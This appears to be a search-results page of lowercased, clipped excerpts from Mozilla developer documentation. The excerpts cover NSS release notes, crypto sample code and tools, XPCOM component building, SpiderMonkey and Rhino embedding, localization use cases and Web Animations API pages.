... defining windowglobalparent's alloc/deallocpechoparent() open up dom/ipc/windowglobalparent.h and we are going to add two things: at the top, add #include "mozilla/dom/echoparent.h" and then, as part of the windowglobalparent class definition, add the following two public methods: already_addrefed<echoparent> allocpechoparent(); bool deallocpechoparent(pechoparent* aactor); natrually, we will have to do the alloc/dealloc dance for the children too.
... defining windowglobalchild's alloc/deallocpechochild() same as above, now open up dom/ipc/windowglobalchild.h and we are going to add two things: at the top, add #include "mozilla/dom/echochild.h" and then, as part of the windowglobalchild class definition, add the following two public methods: already_addrefed<echochild> allocpechochild(); bool deallocpechochild(pechochild* aactor); super tedious, we know...
... mechochild = windowglobalchild->allocpechochild(); // let's make sure it's initialized and ready to send messages.
Localization Use Cases
declensions in gaia's browser app, there's an about-browser string defined as follows in apps/browser/locales/browser: about-browser=about {{browserbrandshortname}} problem definition in many inflected languages (e.g.
... problem definition in some languages, past participles (crashed) must be accorded with the gender of the subject (in case of reflexive verbs) or the gender of the object.
...= _(l10nid, { size: sizeinfo.size, unit: _('byteunit-' + sizeinfo.unit) }); } the function is used like so: // application storage updateappfreespace: function storage_updateappfreespace() { var self = this; this.getfreespace(this.appstorage, function(freespace) { devicestoragehelper.showformatedsize(self.appstoragedesc, 'availablesize', freespace); }); }, problem definition for all values of freespace, the following string is enough to construct a grammatically-correct sentence in english: availablesize = {{$size}} {{$unit}} available however, other languages might need to pluralize this string with different forms of the available adjective.
... you'll notice that devicestoragehelper.showformatedsize passes a localized name of the unit to availablesize: function showformatedsize(element, l10nid, size) { // … var _ = navigator.mozl10n.get; element.textcontent = _(l10nid, { size: sizeinfo.size, unit: _('byteunit-' + sizeinfo.unit) }); } problem definition even though there's no need to localize the units in english at all, we still need to do it, because in other languages we might need to use localized names.
NSS 3.12.5 release_notes
(see ssl.h) error codes: ssl_error_decompression_failure (see sslerr.h) ssl_error_renegotiation_not_allowed (see sslerr.h) new context initialization and shutdown functions see nss.h for details.
... the 2 new functions are: nss_initcontext nss_shutdowncontext parameters for these functions are used to initialize softoken.
...memory for the strings are owned by the caller, who is free to free them once nss_contextinit returns.
... see the following struct in nss.h for details: nssinitparametersstr other new functions in secmod.h: secmod_getskipfirstflag secmod_getdefaultmoddbflag in prlink.h nss_securememcmp port_loadlibraryfromorigin modified functions sgn_update (see cryptohi.h) the parameter "input" of this function is changed from unsigned char * to const unsigned char *.
NSS 3.35 release notes
if nss is initialized, in read-write mode with a database directory provided, it uses database files to store certificates, key, trust, and other information.
... applications using nss may explicitly request to use a specific database format, by adding a type prefix to the database directory, provided at nss initialization time.
...if a master password was set on the dbm database, then the initial migration may be partial, and migration of keys from dbm to sql will be delayed, until this master password is provided to nss.
... for an initial clienthello, an application can control whether nss sends a helloretryrequest, and include application-chosen content in the cookie.
NSS 3.52 release notes
note: this change modifies the ck_gcm_params struct to include the ulivbits field which, prior to pkcs #11 v3.0, was ambiguously defined and not included in the nss definition.
... if an application is recompiled with nss 3.52+, this field must be initialized to a value corresponding to ulivlen.
... alternatively, defining nss_pkcs11_2_0_compat will yield the old definition.
... bug 1629661 - mpconfig calls in ssl initialize policy before nss is initialized.
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
*/ /* nspr headers */ #include <prthread.h> #include <plgetopt.h> #include <prerror.h> #include <prinit.h> #include <prlog.h> #include <prtypes.h> #include <plstr.h> /* nss headers */ #include <keyhi.h> #include <pk11priv.h> /* our samples utilities */ #include "util.h" /* constants */ #define blocksize 32 #define modblocksize 128 #define default_key_bits 1024 /* header file constants */ #define enckey_header "-----begin wrapped enckey-----" #define ...
...like sample 5, but finds key matching cert in header */ int main(int argc, char **argv) { secstatus rv; ploptstate *optstate; ploptstatus status; prbool initialized = pr_false; commandtype cmd = unknown; const char *dbdir = null; secupwdata pwdata = { pw_none, 0 }; char *subjectstr = null; certname *subject = 0; unsigned int serialnumber = 0; char ...
... case 't': truststr = strdup(optstate->value); break; case 'v': sigverify = pr_true; break; default: usage(progname); break; } } pl_destroyoptstate(optstate); if (cmd == unknown || !dbdir) usage(progname); /* open db for read/write and authenticate to it */ pr_init(pr_user_thread, pr_priority_normal, 0); initialized = pr_true; rv = nss_initreadwrite(dbdir); if (rv != secsuccess) { pr_fprintf(pr_stderr, "nss_initreadwrite failed\n"); goto cleanup; } pk11_setpasswordfunc(getmodulepassword); slot = pk11_getinternalkeyslot(); if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, &pwdata);...
...rfilename, infilename); /* verify with the matching public key */ rv = findkeyandverify(slot, certhandle, &pwdata, headerfilename, infilename); if (rv != secsuccess) { pr_fprintf(pr_stderr, "find public key and verify signature : failed\n"); goto cleanup; } } cleanup: if (slot) { pk11_freeslot(slot); } if (initialized) { secstatus rvshutdown = nss_shutdown(); if (rvshutdown != secsuccess) { pr_fprintf(pr_stderr, "failed : nss_shutdown() - %s", port_errortostring(rvshutdown)); rv = secfailure; } pr_cleanup(); } return rv; } </pre> ...
NSS Sample Code sample3
<< "length: " << len << endl; for(i = 0;i < len;i++) printf("%02x ", digest[i]); cout << endl; } /* * main */ int main(int argc, const char *argv[]) { int status = 0; pk11slotinfo *slot = 0; pk11symkey *key = 0; pk11context *context = 0; unsigned char data[80]; unsigned char digest[20]; /*is there a way to tell how large the output is?*/ unsigned int len; secstatus s; /* initialize nss * if your application code has already initialized nss, you can skip it * here.
... * this code uses the simplest of the init functions, which does not * require a nss database to exist */ nss_nodb_init("."); /* get a slot to use for the crypto operations */ slot = pk11_getinternalkeyslot(); if (!slot) { cout << "getinternalkeyslot failed" << endl; status = 1; goto done; } /* * part 1 - simple hashing */ cout << "part 1 -- simple hashing" << endl; /* initialize data */ memset(data, 0xbc, sizeof data); /* create a context for hashing (digesting) */ context = pk11_createdigestcontext(sec_oid_md5); if (!context) { cout << "createdigestcontext failed" << endl; goto done; } s = pk11_digestbegin(context); if (s != secsuccess) { cout << "digestbegin failed" << endl; goto done; } s = pk11_digestop(context, data, sizeo...
..." << endl; goto done; } s = pk11_digestfinal(context, digest, &len, sizeof digest); if (s != secsuccess) { cout << "digestfinal failed" << endl; goto done; } /* print digest */ printdigest(digest, len); pk11_destroycontext(context, pr_true); context = 0; /* * part 2 - hashing with included secret key */ cout << "part 2 -- hashing with included secret key" << endl; /* initialize data */ memset(data, 0xbc, sizeof data); /* create a key */ key = pk11_keygen(slot, ckm_generic_secret_key_gen, 0, 128, 0); if (!key) { cout << "create key failed" << endl; goto done; } cout << (void *)key << endl; /* create parameters for crypto context */ /* note: params must be provided, but may be empty */ secitem noparams; noparams.type = sibuffer; noparams.data ...
...< "digestupdate failed" << endl; goto done; } s = pk11_digestfinal(context, digest, &len, sizeof digest); if (s != secsuccess) { cout << "digestfinal failed" << endl; goto done; } /* print digest */ printdigest(digest, len); pk11_destroycontext(context, pr_true); context = 0; /* * part 3 - mac (with secret key) */ cout << "part 3 -- mac (with secret key)" << endl; /* initialize data */ memset(data, 0xbc, sizeof data); context = pk11_createcontextbysymkey(ckm_md5_hmac, cka_sign, key, &noparams); if (!context) { cout << "createcontextbysymkey failed" << endl; goto done; } s = pk11_digestbegin(context); if (s != secsuccess) { cout << "digestbegin failed" << endl; goto done; } s = pk11_digestop(context, data, sizeof data); if (s != secsuccess) { cout ...
nss tech note8
for server programs, the function for initializing the server session cache would set these two variables according to two of the arguments to that function.
... so, in nss 3.4, the global variables ssl3_sid_timeout and ssl_sid_timeout were intended to become the definitions for the client cache only, and each server cache had its own new pair of variables for ssl2 and ssl3 session lifetimes, i.e., cache->ssl2timeout and cache->ssl3timeout.
... the server cache initialization function was intended to no longer alter the variables ssl3_sid_timeout and ssl_sid_timeout, but rather to set the server cache's variables.
... since all the callers of the socket's cache function always initialized both their creationtime and expirationtime using the client's session lifetime variables, i changed the server's caching function to ignore the expirationtime computed by the caller, and compute its own expiration time, using the cache's own timeout values, or that was the intent.
FC_GetTokenInfo
on return, the ck_token_info structure that pinfo points to has the following information: label: the label of the token, assigned during token initialization, padded with spaces to 32 bytes and not null-terminated.
... ckf_rng (0x00000001): this device has a random number generator ckf_write_protected (0x00000002): this device is read-only ckf_login_required (0x00000004): this device requires the user to log in to use some of its services ckf_user_pin_initialized (0x00000008): the user's password has been initialized ckf_dual_crypto_operations (0x00000200): a single session with the token can perform dual cryptographic operations ckf_token_initialized (0x00000400): the token has been initialized.
... if login is required (which is true for the fips mode of operation), this flag means the user's password has been initialized.
... ckr_cryptoki_not_initialized the pkcs #11 module library is not initialized.
FC_Login
the security officer (cku_so) only logs in to initialize the normal user's pin.
...the nss cryptographic module doesn't allow the so to log in if the normal user's pin is already initialized.
... ckr_user_type_invalid the token can't authenticate the user because there is no key database or the user's password isn't initialized.
... usertype is cku_so and the normal user's pin is already initialized.
NSC_Login
the security officer (cku_so) only logs in to initialize the normal user's pin.
...the nss cryptographic module doesn't allow the so to log in if the normal user's pin is already initialized.
... ckr_user_type_invalid the token can't authenticate the user because there is no key database or the user's password isn't initialized.
... usertype is cku_so and the normal user's pin is already initialized.
NSS tools : certutil
the certificate database should already exist; if one is not present, this command option will initialize one by default.
...the key database should already exist; if one is not present, this option will initialize one by default.
...validation can also be used to ensure that the certificate is only used for the purposes it was initially issued for.
...the -o prints the full chain of a certificate, going from the initial ca (the root ca) through ever intermediary ca to the actual certificate.
NSS Tools modutil
if the token has not been initialized, this option initializes the password.
...ting default provider status for various security mechanisms: -add modulename -libfile library-file [-ciphers cipher-enable-list] [-mechanisms mechanism-list] adding a pkcs #11 module from an existing jar file: -jar jar-file -installdir root-installation-directory [-tempdir temporary-directory] deleting a specific pkcs #11 module from a security module database: -delete modulename initializing or changing a token's password: -changepw tokenname [-pwfile old-password-file] [-newpwfile new-password-file] setting the default provider status of various security mechanisms in an existing pkcs #11 module: -default modulename -mechanisms mechanism-list clearing the default provider status of various security mechanisms in an existing pkcs #11 module: -undefault modulename...
...es version 4.0manufacturer: netscape communications corp type: softwareversion number: 4.1firmware version: 0.0status: enabledtoken name: communicator generic crypto svcstoken manufacturer: netscape communications corp token model: libsec 4.0 token serial number: 0000000000000000token version: 4.0token firmware version: 0.0access: write protectedlogin type: public (no login required)user pin: not initializedslot: communicator user private key and certificate servicesmanufacturer: netscape communications corp type: softwareversion number: 3.0firmware version: 0.0status: enabledtoken name: communicator certificate db token manufacturer: netscape communications corp token model: libsec 4.0 token serial number: 0000000000000000token version: 7.0token firmware version: 0.0access: not write protecte...
...dlogin type: login requireduser pin: not initialized setting a default provider this example makes the specified module a default provider for the rsa, dsa, and rc2 security mechanisms: modutil -default "cryptographic module" -dbdir c:\databases -mechanisms rsa:dsa:rc2 the security module database tool displays a warning: warning: performing this operation while communicator is running couldcause corruption of your security databases.
certutil
the certificate database should already exist; if one is not present, this option will initialize one by default.
... the key database should already exist; if one is not present, this option will initialize one by default.
... validation can also be used to ensure that the certificate is only used for the purposes it was initially issued for.
...the -o prints the full chain of a certificate, going from the initial ca (the root ca) through ever intermediary ca to the actual certificate.
NSS tools : modutil
MozillaProjectsNSStoolsmodutil
if the token has not been initialized, this option initializes the password.
...cturer: mozilla foundation type: software version number: 3.11 firmware version: 0.0 status: enabled token name: nss generic crypto services token manufacturer: mozilla foundation token model: nss 3 token serial number: 0000000000000000 token version: 4.0 token firmware version: 0.0 access: write protected login type: public (no login required) user pin: not initialized slot: nss user private key and certificate services slot mechanism flags: none manufacturer: mozilla foundation type: software version number: 3.11 firmware version: 0.0 status: enabled token name: nss certificate db token manufacturer: mozilla foundation token model: nss 3 token serial number: 0000000000000000 token version: 8.3 token firmware versi...
...on: 0.0 access: not write protected login type: login required user pin: initialized a related command, -rawlist returns information about the database configuration for the modules.
... changing the password on a token initializing or changing a token's password: modutil -changepw tokenname [-pwfile old-password-file] [-newpwfile new-password-file] modutil -dbdir sql:/home/my/sharednssdb -changepw "nss certificate db" enter old password: incorrect password, try again...
Tutorial: Embedding Rhino
in this document: runscript: a simple embedding entering a context initializing standard objects collecting the arguments evaluating a script printing the result exiting the context expose java apis using java apis implementing interfaces adding java objects using javascript objects from java using javascript variables calling javascript functions javascript host objects defining host objects counter example...
... initializing standard objects the code scriptable scope = cx.initstandardobjects(); initializes the standard objects (object, function, etc.) this must be done before scripts can be executed.
... the null parameter tells initstandardobjects to create and return a scope object that we use in later calls.
...for the counter example, no initialization work is needed, so the implementation is empty.
Hacking Tips
do next in gdb until you reach the definition of the funcptr: // call the per-exported-function trampoline created by generateentry.
...gdb may complain that ~/.gdbinit requires modification to authorize user scripts, and if so will print out directions.
...note that if you reverse-continue over a sigsegv and you're using the standard .gdbinit that sets a catchpoint for that signal, you'll get an additional stop at the catchpoint.
... inspecting mir objects within a debugger for mirgraph, mbasicblock, and mdefinition and its subclasses (minstruction, mconstant, etc.), call the dump member function.
JSClass
a c/c++ program can use a jsclass with the js_initclass and js_newobject apis to create objects that have custom methods and properties implemented in c/c++.
... */ 0 /* flags */ }; /* spidermonkey 31 or older */ static jsclass robot_class = { "robot", /* name */ 0, /* flags */ js_propertystub, js_propertystub, js_propertystub, js_propertystub, js_enumeratestub, js_resolvestub, js_convertstub, null, jsclass_no_optional_members }; to expose this class to scripts, and to attach methods and properties to it, use js_initclass.
... when initializing the class, pass the jsnative constructor function to js_initclass.
...j = js_newobjectforconstructor(cx, &printer_class, vp); */ if (!obj) return false; myprinter *p = new myprinter; if (p == null) { js_reportoutofmemory(cx); return false; } js_setprivate(cx, obj, p); args.rval().setobject(*obj); /* spidermonkey 31 or older * js_set_rval(cx, vp, object_to_jsval(obj)); */ return true; } { js_initclass(cx, global, js::null(), &printer_class, printer_construct, 1, null, null, null, null); } see also mxr id search for jsclass jsclass.flags js_getclass js_initclass js_newobject js_newobjectforconstructor js_instanceof bug 638291 - added trace bug 702507 - removed jsclass_construct_prototype bug 726944 - removed xdrobject, reserved0 and reserved1 bug 886829 - made...
SpiderMonkey 1.8.8
these release notes are an incomplete draft and were initially seeded from the 1.8.5 release notes, so lots of the information here isn't actually new to spidermonkey 1.8.8 (nor is it even the case that the version number will be 1.8.8!).
... as unsigned int), int n/a jsdouble double n/a jsuintn, jsintn unsigned (also known as unsigned int), int n/a jspackedbool n/a n/a jsrefcount n/a n/a the fixed-size integer types are defined in one of the following ways: if the environment variable moz_custom_stdint_h is set, that file will be included to provide definitions for these types.
... the file must conform to the standard c99 <stdint.h> header interface in all respects, providing all that header's types and macro definitions.
... the environment variable is provided as a solution for embedders whose code requires particular definitions of those types, and those particular definitions are incompatible with the standard definitions or the custom implementation needed for older versions of visual studio.
SpiderMonkey 17
these release notes are an incomplete draft and were initially seeded from the (now-defunct) 1.8.8 release notes, which were themselves seeded from the 1.8.5 release notes, so lots of the information here isn't actually new to spidermonkey 17.
... as unsigned int), int n/a jsdouble double n/a jsuintn, jsintn unsigned (also known as unsigned int), int n/a jspackedbool n/a n/a jsrefcount n/a n/a the fixed-size integer types are defined in one of the following ways: if the environment variable moz_custom_stdint_h is set, that file will be included to provide definitions for these types.
... the file must conform to the standard c99 <stdint.h> header interface in all respects, providing all that header's types and macro definitions.
... the environment variable is provided as a solution for embedders whose code requires particular definitions of those types, and those particular definitions are incompatible with the standard definitions or the custom implementation needed for older versions of visual studio.
Animated PNG graphics
MozillaTechAPNG
conceptually, at the beginning of each play the output buffer must be completely initialized to a fully transparent black rectangle, with width and height dimensions from the 'ihdr' chunk.
...0 indicates infinite looping.
... num_plays indicates the number of times that this animation should play; if it is 0, the animation should play indefinitely.
... as noted earlier, the output buffer must be completely initialized to fully transparent black at the beginning of each play.
How to build an XPCOM component in JavaScript
here's the xpidl definition for our helloworld component: helloworld.idl #include "nsisupports.idl" [scriptable, uuid(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)] interface nsihelloworld : nsisupports { string hello(); }; note that you must generate a new uuid for each xpcom component that you create.
... compiling the typelib your interface definition must be compiled into a binary format (xpt) in order to be registered and used within mozilla applications.
...note: it doesn't do the work of creating your interface definition file or the type library for you, so you still have to go through those steps above if they haven't been done.
...to begin, include a line at the top of your interface to import the xpcomutils library: components.utils.import("resource://gre/modules/xpcomutils.jsm"); then implement your interface the same way you did above, except with a few modifications so that xpcomutils can set it up properly: /*********************************************************** class definition ***********************************************************/ //class constructor function helloworld() { // if you only need to access your component from javascript, uncomment the following line: //this.wrappedjsobject = this; } // class definition helloworld.prototype = { // properties required for xpcom registration: classdescription: "my hello world javascript xpcom component", cl...
Creating the Component Code
the includes and definitions at the top of an xpcom source file can give you an idea about some of the data types and techniques we'll be discussing more in the upcoming chapters.
... identifiers in xpcom the series of nsiid variables initialized here are actually classes created for handing the 128-bit identifiers that xpcom uses to support contractual relationships between the client and component interfaces.
...given the example above, someone could create the sample object via the component manager as follows: nsicomponentmanager* compmanager; // assume initialized nsisupports* sample; compmanager->createinstance(ksamplecid, nsnull, kisupportsiid, (void**)&sample); in the above snippet, we assume that the component manager has been initialized.
... return ns_ok; } //---------------------------------------------------------------------- extern "c" ns_export nsresult nsgetmodule(nsicomponentmanager *servmgr, nsifile* location, nsimodule** return_cobj) { nsresult rv = ns_ok; // create and initialize the module instance samplemodule *m = new samplemodule(); if (!m) { return ns_error_out_of_memory; } // increase refcnt and store away nsimodule interface to m in return_cobj rv = m->queryinterface(kimoduleiid, (void**)return_cobj); if (ns_failed(rv)) { delete m; } return rv; } note: non-null-out the createinstance method guarantees that if the out variable is n...
Packaging WebLock
once triggered (see the weblock trigger script), the installation script: downloads the weblock component and places it in the components directory copies the weblock subdirectory in the mozilla chrome application subdirectory registers both the component and the ui the xpinstall api provides such essential methods[essential-methods] as initinstall, registerchrome, addfile, and others.
... weblock installation script // initialize the installation var err = initinstall("weblock", "weblock", 1.0); var componentsdir = getfolder("components"); var cf = getfolder("chrome"); // add the dll and say where it'll go addfile("weblock.dll", 1.0, "weblock.dll", componentsdir, ""); // add the typelib also addfile("weblock.xpt", "1.0", "weblock.xpt", componentsdir, ""); // add the weblock subdirectory of the xpi and specify that // it be installed in the chrome application directory err = adddirectory("weblock", "1.0", "", chromedir, ""); // ?
... // register the new ui with the mozilla chrome registry registerchrome(content, getfolder(cf,"weblock.xpi"),"weblock"); registerchrome(skin, getfolder(cf, "weblock.xpi"),"weblock"); // perform the installation if there are no errors if (err==success) performinstall(); else cancelinstall(err); the weblock trigger script the trigger script is the script placed on a web page that actually initiates an xpinstall installation and calls the installation script that appears in the xpi.
...in other words, the fragment initinstall() from the script is equivalent to install.initinstall().
Using XPCOM Utilities to Make Things Easier
the ns_init_isupports macro is also a bit of a special case.
...however, a change in xpcom that occurred before mozilla 1.3 makes ns_init_isupports no longer necessary: mrefcnt's type has been changed from an integer to a class that provides its own auto-initialization.
... the following table summarizes the macro usage in this portion of the weblock.cpp source file: common xpcom macros ns_impl_isupportsn implements nsisupports for a given class with n number of interfaces ns_decl_isupports declares methods of nsisupports including mrefcnt ns_init_isupports initializes mrefcnt to zero.
... weblock2.cpp #include "nsigenericfactory.h" #include "nsisupportsutils.h" #define sample_cid \ { 0x777f7150, 0x4a2b, 0x4301, \ { 0xad, 0x10, 0x5e, 0xab, 0x25, 0xb3, 0x22, 0xaa}} class sample: public nsisupports { public: sample(); virtual ~sample(); ns_decl_isupports }; sample::sample() { // note: in newer versions of gecko (1.3 or later) // you don't have to do this: ns_init_isupports(); } sample::~sample() { } ns_impl_isupports1(sample, nsisupports); ns_generic_factory_constructor(sample); static const nsmodulecomponentinfo components[] = { { "pretty class name", sample_cid, "@company.com/sample", sampleconstructor } }; ns_impl_nsgetmodule(nssamplemodule, components) string classes in xpcom strings are usually thought of as linear sequences o...
imgIEncoder
in gecko 1.9 (firefox 3) method overview void addimageframe( [array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 frameformat, in astring frameoptions); void encodeclipboardimage(in nsiclipboardimage aclipboardimage, out nsifile aimagefile); obsolete since gecko 1.9 void endimageencode(); void initfromdata([array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 inputformat, in astring outputoptions); void startimageencode(in pruint32 width, in pruint32 height, in pruint32 inputformat, in astring outputoptions); constants possible values for input format (note that not all image formats support sa...
...initfromdata() void initfromdata( [array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 inputformat, in astring outputoptions ); parameters data list of bytes in the format specified by inputformat.
... remarks for encoding images which may contain multiple frames, the 1-shot initfromdata() interface is too simplistic.
... the alternative is to use startimageencode(), call addimageframe() one or more times, and then finish initialization with endimageencode().
nsIAuthInformation
domain astring the initial value should be used to prefill the dialog or be shown in some other way to the user.
... password astring the initial value should be used to prefill the dialog or be shown in some other way to the user.
... username astring the initial value should be used to prefill the dialog or be shown in some other way to the user.
...nsiauthprompt2 implementations should, however, show its initial value to the user in some form.
nsICommandLineRunner
the nsicommandlinerunner is an extension of nsicommandline used to initialize command lines and run them by processing the comand line handlers.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsicommandline method overview void init(in long argc, in nscharptrarray argv, in nsifile workingdir, in unsigned long state); void run(); void setwindowcontext(in nsidomwindow awindow); attributes attribute type description helptext autf8string process and combine the help text provided by each command-line handler.
... methods init() called with the argc/argv combination passed to main.
...void init( in long argc, in nscharptrarray argv, in nsifile workingdir, in unsigned long state ); parameters argc the number of arguments being passed.
nsICrashReporter
exceptions thrown ns_error_not_initialized if crash reporting is not initialized.
...ns_error_not_initialized if crash reporting is not initialized.
...ns_error_not_initialized if crash reporting not initialized.
...ns_error_not_initialized if crash reporting not initialized.
nsIDOMEvent
nseventptr getinternalnsevent(); violates the xpcom interface guidelines boolean getpreventdefault(); deprecated since gecko 16.0 void initevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg); boolean isdispatchstopped(); violates the xpcom interface guidelines void preventbubble(); obsolete since gecko 24 void preventcapture(); obsolete since gecko 24 void preventdefault(); void serialize(in ipcmessageptr amsg, in boolean aserializeinterfacetype); violates ...
... return value initevent() this method is used to initialize the value of an event created through the documentevent interface.
...if called from a subclass of event interface only the values specified in the initevent method are modified, all other attributes are left unchanged.
... void initevent( in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg ); parameters eventtypearg specifies the event type.
nsIDOMProgressEvent
method overview void initprogressevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in boolean lengthcomputablearg, in unsigned long long loadedarg, in unsigned long long totalarg); deprecated since gecko 22.0 attributes attribute type description lengthcomputable boolean specifies whether or not the total size of the transfer is known.
... methods initprogressevent() deprecated since gecko 22.0 this method has been removed from use in javascript in gecko 22.0.
... initializes the progress event object.
... void initprogressevent( in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in boolean lengthcomputablearg, in unsigned long long loadedarg, in unsigned long long totalarg ); parameters typearg the type of event.
nsIDocShell
printpreview nsiwebbrowserprint if the current content viewer is not initialized for print preview, it is replaced with one which is and to which an about:blank document is loaded.
... constant value description kcharsetuninitialized 0 the character set has not yet been initialized.
... adocshell if the load was succesfully initiated, this receives the nsidocshell that actually performed the load.
...called by the document before initiating an out of band document.write().
nsIDragService
dragdrop_action_uninitialized 64 the action is not initialized.
...if aimage is null, aimagex and aimagey are not used and the image is instead determined from the source node adomnode, and the offset calculated so that the initial location for the image appears in the same screen position as where the element is located.
... adragevent the drag gesture event that initiated the drag.
... aactiontype specified which of copy/move/link are allowed adragevent the drag gesture event that initiated the drag.
nsIFileInputStream
inherits from: nsiinputstream last changed in gecko 1.7 method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants constant value description delete_on_close 1<<1 if this is set, the file will be deleted by the time the stream is closed.
... note: using this flag results in the file not being opened during the call to init.
...also, the file is not locked when init is called, so it might be deleted before we try to read from it.
... methods init() void init( in nsifile file, in long ioflags, in long perm, in long behaviorflags ); parameters file file to read from (must qi to nsilocalfile) ioflags the file status flags define how the file is accessed.
nsISound
to use this interface, use: var sound = components.classes["@mozilla.org/sound;1"] .createinstance(components.interfaces.nsisound); method overview void beep(); void init(); void play(in nsiurl aurl); void playeventsound(in unsigned long aeventid); void playsystemsound(in astring soundalias); constants sound event constants constant value description event_new_mail_received 0 the system receives email.
...init() not strictly necessary, but avoids a delay before the first sound.
... other methods will call init if they need to.
... void init(); parameters none.
nsIStandardURL
it supports initialization from a relative path and provides some customization on how urls are normalized.
...to create an instance, use: var standardurl = components.classes["@mozilla.org/network/standard-url;1"] .createinstance(components.interfaces.nsistandardurl); method overview void init(in unsigned long aurltype, in long adefaultport, in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description mutable boolean control whether or not this url can be modified.
...o/bar => blah://foo/bar blah:///foo/bar => blah:///foo/bar urltype_authority 2 blah:foo/bar => blah://foo/bar blah:/foo/bar => blah://foo/bar blah://foo/bar => blah://foo/bar blah:///foo/bar => blah://foo/bar urltype_no_authority 3 blah:foo/bar => blah:///foo/bar blah:/foo/bar => blah:///foo/bar blah://foo/bar => blah://foo/bar blah:///foo/bar => blah:///foo/bar methods init() normalizes a given url to an standard url.
... void init( in unsigned long aurltype, in long adefaultport, in autf8string aspec, in string aorigincharset, in nsiuri abaseuri ); parameters aurltype one of the constants listed above.
nsIUpdateItem
method overview void init(in astring id, in astring version, in astring installlocationkey, in astring minappversion, in astring maxappversion, in astring name, in astring downloadurl, in astring xpihash, in astring iconurl, in astring updateurl, in astring updatekey, in long type, in astring targetappid); attributes attribute type description iconurl astring the url of the icon that ...
...can be null and if supplied must be in the format of "type:hash" (see the types in nsicryptohash and nsixpinstallmanager.initmanagerwithhashes().
...e_app 0x01 type_extension 0x02 type_theme 0x04 type_locale 0x08 type_multi_xpi 0x20 type_addon type_extension + type_theme + type_locale + type_plugin type_extension + type_theme + type_locale type_any type_app + type_addon 0xff type_plugin 0x10 methods init() initializes the object.
... void init( in astring id, in astring version, in astring installlocationkey, in astring minappversion, in astring maxappversion, in astring name, in astring downloadurl, in astring xpihash, in astring iconurl, in astring updateurl, in astring updatekey, in long type, in astring targetappid ); parameters id the item's guid.
XPIDL
the interpretation of the type can be modified by having properties on the native declaration: table 3: native type definitions astring this is an nsastring declaration.
...methods without this property generally use ns_imethod in their declarations and ns_imethodimp in their definitions to automatically add in the stdcall declaration specifier on requisite compilers; those that use this method may use a plain `nsresult' instead.
...when present, it causes an infallible c++ getter function definition to be generated for the attribute alongside the normal fallible c++ getter declaration.
... out and inout parameters are reflected as objects having the .value property which contains the real value of the parameter; it is not initialized in the case of out parameters and is initialized to the passed-in-value for inout parameters.
nsIMsgCloudFileProvider
inherits from: nsisupports method overview void init(in string aaccountkey); void uploadfile(in nsilocalfile afile, in nsirequestobserver acallback); acstring urlforfile(in nsilocalfile afile); void cancelfileupload(in nsilocalfile afile); void refreshuserinfo(in boolean awithui, in nsirequestobserver acallback); void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); void createnewaccount(in acstring aemailaddress, in acstring apassword, in acstring afirstname, in acstring alastname, in nsirequestobserver acallback); void createexistingaccount(in nsire...
... methods init() initializes an nsimsgcloudfileprovider to be associated with a particular account.
... void init(in string aaccountkey); parameters uploadfile() starts a file upload for this account.
... createexistingaccount() for an init'ed nsimsgcloudfileprovider, attempts to communicate with the service provider in order to get the proper credentials for starting uploads.
URLs - Plugins
nperror npn_geturlnotify(npp instance, const char* url, const char* target, void* notifydata); the instance, url, and target parameters have the same definitions as those of npn_geturl.
... void npp_urlnotify(npp instance, const char* url, npreason reason, void* notifydata); the instance and url parameters have the same definitions as those of npn_geturl.
... nperror npn_posturl(npp instance, const char *url, const char *target, uint32 len, const char *buf, npbool file); the instance, url, and target parameters have the same definitions as those of npn_geturl.
... nperror npn_posturlnotify( npp instance, const char *url, const char *target, uint32 len, const char *buf, npbool file, void* notifydata ); the parameters of this function have the same definitions as those of npn_posturl.
Debugger - Firefox Developer Tools
new debugger([global, …]) create a debugger object, and apply its adddebuggee method to each of the givenglobal objects to add them as the initial debuggees.
...this property is initially true in a freshly created debugger instance.
...it is initially false in a freshly created debugger instance.
... on a new debugger instance, each of these properties is initially undefined.
Animation.pause() - Web APIs
WebAPIAnimationpause
exceptions invalidstateerror the animation's currenttime is unresolved (for example, if it's never been played or isn't currently playing) and the end time of the animation is positive infinity.
... throws an invalidstateerror if the animation's currenttime is unresolved (perhaps it hasn't started playing yet) and the end time of the animation is positive infinity.
...f you want to avoid that: // animation of the cupcake slowly getting eaten up var nommingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); // doesn't actually need to be eaten until a click event, so pause it initially: nommingcake.pause(); additionally, when resetting : // an all-purpose function to pause the animations on alice, the cupcake, and the bottle that reads "drink me." var stopplayingalice = function() { alicechange.pause(); nommingcake.pause(); drinking.pause(); }; // when the user releases the cupcake or the bottle, pause the animations.
... cake.addeventlistener("mouseup", stopplayingalice, false); bottle.addeventlistener("mouseup", stopplayingalice, false); specifications specification status comment web animationsthe definition of 'play()' in that specification.
Animation.playState - Web APIs
previously, web animations defined a pending value to indicate that some asynchronous operation such as initiating playback was yet to complete.
...so they must be paused as soon as they are animated like so: // setting up the tear animations tears.foreach(function(el) { el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: 'cubic-bezier(0.6, 0.04, 0.98, 0.335)' }); el.pause(); }); // play the tears falling when the ending needs to be shown.
... tears.foreach(function(el) { el.pause(); el.currenttime = 0; }); specifications specification status comment web animationsthe definition of 'playstate' in that specification.
... working draft initial definition.
Attr - Web APIs
WebAPIAttr
